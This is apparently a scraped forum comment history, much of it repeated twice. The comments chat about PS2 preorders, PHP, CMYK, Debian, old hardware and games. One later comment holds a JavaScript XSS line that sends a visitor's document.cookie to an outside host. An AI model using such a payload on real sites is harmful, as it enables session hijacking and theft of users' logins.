The article seems to make sense, and I applaud the samba guys for their cleanliness. But is it really that serious? Is it the same thing as seeing a circle and using that idea to create a sphere? I think in a perfect reality without software patents and everything, it should be fair game to incorporate ANY found source code and give credit with the source distribution. I'm curious as to what could happen if someone read MS source code, and then worked on a related OSS project. Aren't there documented cases of Microsoft incorporating someone else's (Apple, Xerox) "trade secrets" into their products?
I know I'm whiny, but I was so pissed this morning. I'm the victim of corporate greed! Someone bet that they could make a lot of money by risking too many presells. They screwed up, and they owe me. I'm sure if they caught me shoplifting a game from them, they wouldn't take any lame excuses from me and just let me go if I offered to give it back. Not that my life will end wihtout my ps2, I'm just pissed that they're trying to get away with crap like that.
I should have gotten mine this morning, but Software Etc. screwed me over. Apparently, they presold too many units (I had a 5 month old reservation), and they couldn't supply them. Sony even discouraged retailers from preselling units. Anyone know how best to take action against such places? I'd love to know.
Back in the day when you could buy a domain from nsi, and forget to pay them (almost worth their service!), we got blairewitch.com. It made 3,000 hits a day for a while, which was more than we had ever seen back then. We whipped up an original site, made a lnk to the official site, and made a nice wad o' cash from banner ads and amazon commissions.
Yes, that's funny and all (thinking not a bad idea) EXCEPT for the PVC pipe. PVC is bad for bongs, progressive smoking accessories, whatever. It releases carcinogens slowly over time, or something. I'm not especially sure, but it's bad, mmkay?
I remember the last article that mentioned using xml for something. Everybody was complaining about how stupid and bloated and non-universal and overhyped xml is. Maybe it was just because it had something to do with microsoft and that makes people more apt to complain. Can't say that I blame them.
Why is it only the direct3d games that won't run in w2k!?
Cyan, yellow, magenta and I honestly don't know what the k stands for. I'd guess it's some name for black. So, you bet correctly. But would you know what someone was talking about if they came up to you and said 'BGR' instead of 'RGB'? I have people ask me what their DSN numbers are all the time, and I know what they're talking about. But it's still annoying. That and idsn.
I just went over to dictionary.com and it found something for cmyk (the k stands for key or blacK), and it only had a link to an acronym finder for cymk, so I'll take this opportuinty to shut the hell up.
I've had so much crap using a special application for watching dvd movies. The worst part is that the creative labs program only supports overlay. But we can't use the decoder card's overlay because it makes the passthrough image crappy when you're not watching a movie. The tv output is excellent, but it's damn near impossible to click on the bonus goodies sometimes. I'd love to have the opportunity to choose from several programs that utilize the card from a universal driver.
An actual NUMA-Q server is a (up to) 4-way Xeon box in a 4X rack cabinet.
From what I remember during the last time I visited sequent (3-4 years ago) They had some NUMA-Q systems with multiple proc boards, each holding 4 PPros. I think the one they had running had 16 PPros in it. It was a refridgerator sized box, too.
What really intrigues me though is the SMP boxes with mixed x86 architectures. And for that, I shall be ever impressed with Dynix/ptx
Cursed are those who use sequent (IBM,whatever) products in buildings with no elevators.
I'm treating this like it's not a troll, by the way. mp3.com is quickly becoming the best site to ever happen to me. I haven't checked out the beam-it thing, or the my.mp3.com thing, but I listen to all of the totally legal mp3's they have all day. I hate radio. I live in a pretty big city, and all the radio here sucks tremendous ass. Sometimes the local college AM station has very cool shows on, but I've found so much music that doesn't insult my tastes there (buried underneath the mounds of crappy music:). I think it's the best thing to happen to music in a long time, since it gives normal people access to an audience that they would have never been able to reach. I hope that finding doesn't wreck them too hard.
I love the games, and while the design may be of high quality, I have found the ultima series of games to have more technical flaws than any other piece of software I've used. I can't tell you how many times u6,u7#2, and u8 have crashed out of nowhere on me. There was one part of serpent isle that I had to play through 4 times because it kept crashing on me. (I think it nuked my recent save, or something, it was quite a while ago). Not to mention the horrendous installation problems. I remember that u6 came with 4 disks. Each one was like two halves, and I don't think I ever even used the fourth one. u8 didn't have smooth timing (even on my current computer, which is way beyond the best pc when it came out). I oculd rant on this all day.
There are several OSU's out there. I guess it's OK State U., but still. I was thinking that was a college that a lot of people I know go to (OR SU). It kinda defeats the purpose of reading brief news headlines if I have to dig through it to clarify something.
I used to be the same way until I found debian. I have several programs that I always configure and comile myself (apache,php,sendmail, etc). But there are so many things that get constantly updated and I don't care to track all of them down, find their site, download it, and compile it by hand. So instead of doing that, you can just type apt-get update; apt-get dist-upgrade. That way, I don't have to worry about running an old version of grep or something.
There's an article over at TechWeb that says intel plans to have a 1GHz p3 out by the 8th. And HP announced it will be the first to ship a 1GHz machine. I hope they didn't sacrifice quality for a good press blurb. But then again, I'd love to see them steal more market share from Intel.
Remember nintendo? That little company that made the most popular home game console a few years back? Every home with kids who didn't have one wanted one, just as it seems the ps2 will be. I think they were far more restrictive with their licensing, though on a smaller scale. You could only sell a game for the NES if it has the nintendo seal. They wouldn't publish any games with too much violence, objectionable language, farting (I never saw any). Everyone expected their games to be censored because of this, so when mortal kombat came out, everyone was running around like headless chickens about how realistic and violent games are. (they could be right. every time I'm in a 2 dimensional situation, I have this urge to reach into someone's chest and rip their heart out) And then everyone realized how stupid video game violence really is, and then stuff like q3arena could happen without anyone really caring.
I forgot what my point was, but I'm trying to say it's been done before, and it really wasn't a big deal. Just gave their competitors a nice edge when they came out with something better.
There's an article over at TechWeb that says intel plans to have a 1GHz p3 out by the 8th. And HP announced it will be the first to ship a 1GHz machine.
I know. PHP has come a long way since when I started using it. I went with it mostly because I still find perl confusing, and because I like the structure of C++. Aside from that, cool! Hemos responded to my comment. That's almost as nifty as when he sent out ad rates personally. When will all the slashdot staff action figures hit electronics boutique:)
Is this the appropriate time to drop a shameless plug for your weblog?:) I remeber reading some time ago that perl was chosen because of its efficiency with all the string manipulation and stuff while being easy to develop at the same time. I've found that php has worked wonderfully for my purposes (although I get nowhere near even a fraction of the traffic that/. gets) and that it's much more easy to develop in. There seems to be a function for everything in web development, and it has a mostly perl compatible regexp function (and a few of its own). I've tried php4 (for speed tests), but it broke a few of the regexp functions that we had in place. So, to get to the point, what do the people feel is the best language for writing such a weblog in terms of efficiency and development time?
I have a wd7000 scsi controller that kicks much ass, except for one thing: They sold the rights to adaptec, who immediately decalred it obsolete before any nt4 drivers were released. Which means, I can use its builtin real mode drivers for sucky performance on a win9x machine, or the crappy win9x drivers, and that's it! There's a linux project that hasn't been going very fast because ppl don't seem to have these any more. And I've had more WD drives die on me than any others. except for maxtor of course.
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The article seems to make sense, and I applaud the samba guys for their cleanliness. But is it really that serious? Is it the same thing as seeing a circle and using that idea to create a sphere? I think in a perfect reality without software patents and everything, it should be fair game to incorporate ANY found source code and give credit with the source distribution. I'm curious as to what could happen if someone read MS source code, and then worked on a related OSS project. Aren't there documented cases of Microsoft incorporating someone else's (Apple, Xerox) "trade secrets" into their products?
I know I'm whiny, but I was so pissed this morning. I'm the victim of corporate greed! Someone bet that they could make a lot of money by risking too many presells. They screwed up, and they owe me. I'm sure if they caught me shoplifting a game from them, they wouldn't take any lame excuses from me and just let me go if I offered to give it back. Not that my life will end wihtout my ps2, I'm just pissed that they're trying to get away with crap like that.
I should have gotten mine this morning, but Software Etc. screwed me over. Apparently, they presold too many units (I had a 5 month old reservation), and they couldn't supply them. Sony even discouraged retailers from preselling units. Anyone know how best to take action against such places? I'd love to know.
I even wrote a mean article about this on Digital Theatre
"This product requires Windows NT 4 (Service Pack 3)"
Back in the day when you could buy a domain from nsi, and forget to pay them (almost worth their service!), we got blairewitch.com. It made 3,000 hits a day for a while, which was more than we had ever seen back then. We whipped up an original site, made a lnk to the official site, and made a nice wad o' cash from banner ads and amazon commissions.
Yes, that's funny and all (thinking not a bad idea) EXCEPT for the PVC pipe. PVC is bad for bongs, progressive smoking accessories, whatever. It releases carcinogens slowly over time, or something. I'm not especially sure, but it's bad, mmkay?
Or is the common response of "My shizzat is running smooth, it's the telco - I'll call them immediately" decrease your popularity as sysadmin.
I remember the last article that mentioned using xml for something. Everybody was complaining about how stupid and bloated and non-universal and overhyped xml is. Maybe it was just because it had something to do with microsoft and that makes people more apt to complain. Can't say that I blame them.
Why is it only the direct3d games that won't run in w2k!?
Cyan, yellow, magenta and I honestly don't know what the k stands for. I'd guess it's some name for black. So, you bet correctly. But would you know what someone was talking about if they came up to you and said 'BGR' instead of 'RGB'? I have people ask me what their DSN numbers are all the time, and I know what they're talking about. But it's still annoying. That and idsn.
I just went over to dictionary.com and it found something for cmyk (the k stands for key or blacK), and it only had a link to an acronym finder for cymk, so I'll take this opportuinty to shut the hell up.
Also the support for CMYK.
That's CYMK, cheezeball
arch/sparc/kernel/ptrace.c:/* Fuck me gently with a chainsaw... */
Copyright (C) 1996 David S. Miller (davem@caipfs.rutgers.edu)
I've had so much crap using a special application for watching dvd movies. The worst part is that the creative labs program only supports overlay. But we can't use the decoder card's overlay because it makes the passthrough image crappy when you're not watching a movie. The tv output is excellent, but it's damn near impossible to click on the bonus goodies sometimes. I'd love to have the opportunity to choose from several programs that utilize the card from a universal driver.
An actual NUMA-Q server is a (up to) 4-way Xeon box in a 4X rack cabinet.
From what I remember during the last time I visited sequent (3-4 years ago) They had some NUMA-Q systems with multiple proc boards, each holding 4 PPros. I think the one they had running had 16 PPros in it. It was a refridgerator sized box, too.
What really intrigues me though is the SMP boxes with mixed x86 architectures. And for that, I shall be ever impressed with Dynix/ptx
Cursed are those who use sequent (IBM,whatever) products in buildings with no elevators.
I'm treating this like it's not a troll, by the way. mp3.com is quickly becoming the best site to ever happen to me. I haven't checked out the beam-it thing, or the my.mp3.com thing, but I listen to all of the totally legal mp3's they have all day. I hate radio. I live in a pretty big city, and all the radio here sucks tremendous ass. Sometimes the local college AM station has very cool shows on, but I've found so much music that doesn't insult my tastes there (buried underneath the mounds of crappy music :). I think it's the best thing to happen to music in a long time, since it gives normal people access to an audience that they would have never been able to reach. I hope that finding doesn't wreck them too hard.
I love the games, and while the design may be of high quality, I have found the ultima series of games to have more technical flaws than any other piece of software I've used. I can't tell you how many times u6,u7#2, and u8 have crashed out of nowhere on me. There was one part of serpent isle that I had to play through 4 times because it kept crashing on me. (I think it nuked my recent save, or something, it was quite a while ago). Not to mention the horrendous installation problems. I remember that u6 came with 4 disks. Each one was like two halves, and I don't think I ever even used the fourth one. u8 didn't have smooth timing (even on my current computer, which is way beyond the best pc when it came out). I oculd rant on this all day.
There are several OSU's out there. I guess it's OK State U., but still. I was thinking that was a college that a lot of people I know go to (OR SU). It kinda defeats the purpose of reading brief news headlines if I have to dig through it to clarify something.
I used to be the same way until I found debian. I have several programs that I always configure and comile myself (apache,php,sendmail, etc). But there are so many things that get constantly updated and I don't care to track all of them down, find their site, download it, and compile it by hand. So instead of doing that, you can just type apt-get update; apt-get dist-upgrade. That way, I don't have to worry about running an old version of grep or something.
I guess the G2 player never got out of beta. I never had any problems with it, and the installation was very cool.
There's an article over at TechWeb that says intel plans to have a 1GHz p3 out by the 8th. And HP announced it will be the first to ship a 1GHz machine. I hope they didn't sacrifice quality for a good press blurb. But then again, I'd love to see them steal more market share from Intel.
Remember nintendo? That little company that made the most popular home game console a few years back? Every home with kids who didn't have one wanted one, just as it seems the ps2 will be. I think they were far more restrictive with their licensing, though on a smaller scale. You could only sell a game for the NES if it has the nintendo seal. They wouldn't publish any games with too much violence, objectionable language, farting (I never saw any). Everyone expected their games to be censored because of this, so when mortal kombat came out, everyone was running around like headless chickens about how realistic and violent games are. (they could be right. every time I'm in a 2 dimensional situation, I have this urge to reach into someone's chest and rip their heart out) And then everyone realized how stupid video game violence really is, and then stuff like q3arena could happen without anyone really caring.
I forgot what my point was, but I'm trying to say it's been done before, and it really wasn't a big deal. Just gave their competitors a nice edge when they came out with something better.
There's an article over at TechWeb that says intel plans to have a 1GHz p3 out by the 8th. And HP announced it will be the first to ship a 1GHz machine.
I'd much rather try this on my own machine: document.location='http://travis.pulley.org/ phpinfo.php3?'+document.cookie">DO NOT FOLLOW THIS
I know. PHP has come a long way since when I started using it. I went with it mostly because I still find perl confusing, and because I like the structure of C++. Aside from that, cool! Hemos responded to my comment. That's almost as nifty as when he sent out ad rates personally. When will all the slashdot staff action figures hit electronics boutique :)
Is this the appropriate time to drop a shameless plug for your weblog? :) I remeber reading some time ago that perl was chosen because of its efficiency with all the string manipulation and stuff while being easy to develop at the same time. I've found that php has worked wonderfully for my purposes (although I get nowhere near even a fraction of the traffic that /. gets) and that it's much more easy to develop in. There seems to be a function for everything in web development, and it has a mostly perl compatible regexp function (and a few of its own). I've tried php4 (for speed tests), but it broke a few of the regexp functions that we had in place. So, to get to the point, what do the people feel is the best language for writing such a weblog in terms of efficiency and development time?
And here's my shameless plug - Digital Theatre News
I have a wd7000 scsi controller that kicks much ass, except for one thing: They sold the rights to adaptec, who immediately decalred it obsolete before any nt4 drivers were released. Which means, I can use its builtin real mode drivers for sucky performance on a win9x machine, or the crappy win9x drivers, and that's it! There's a linux project that hasn't been going very fast because ppl don't seem to have these any more. And I've had more WD drives die on me than any others. except for maxtor of course.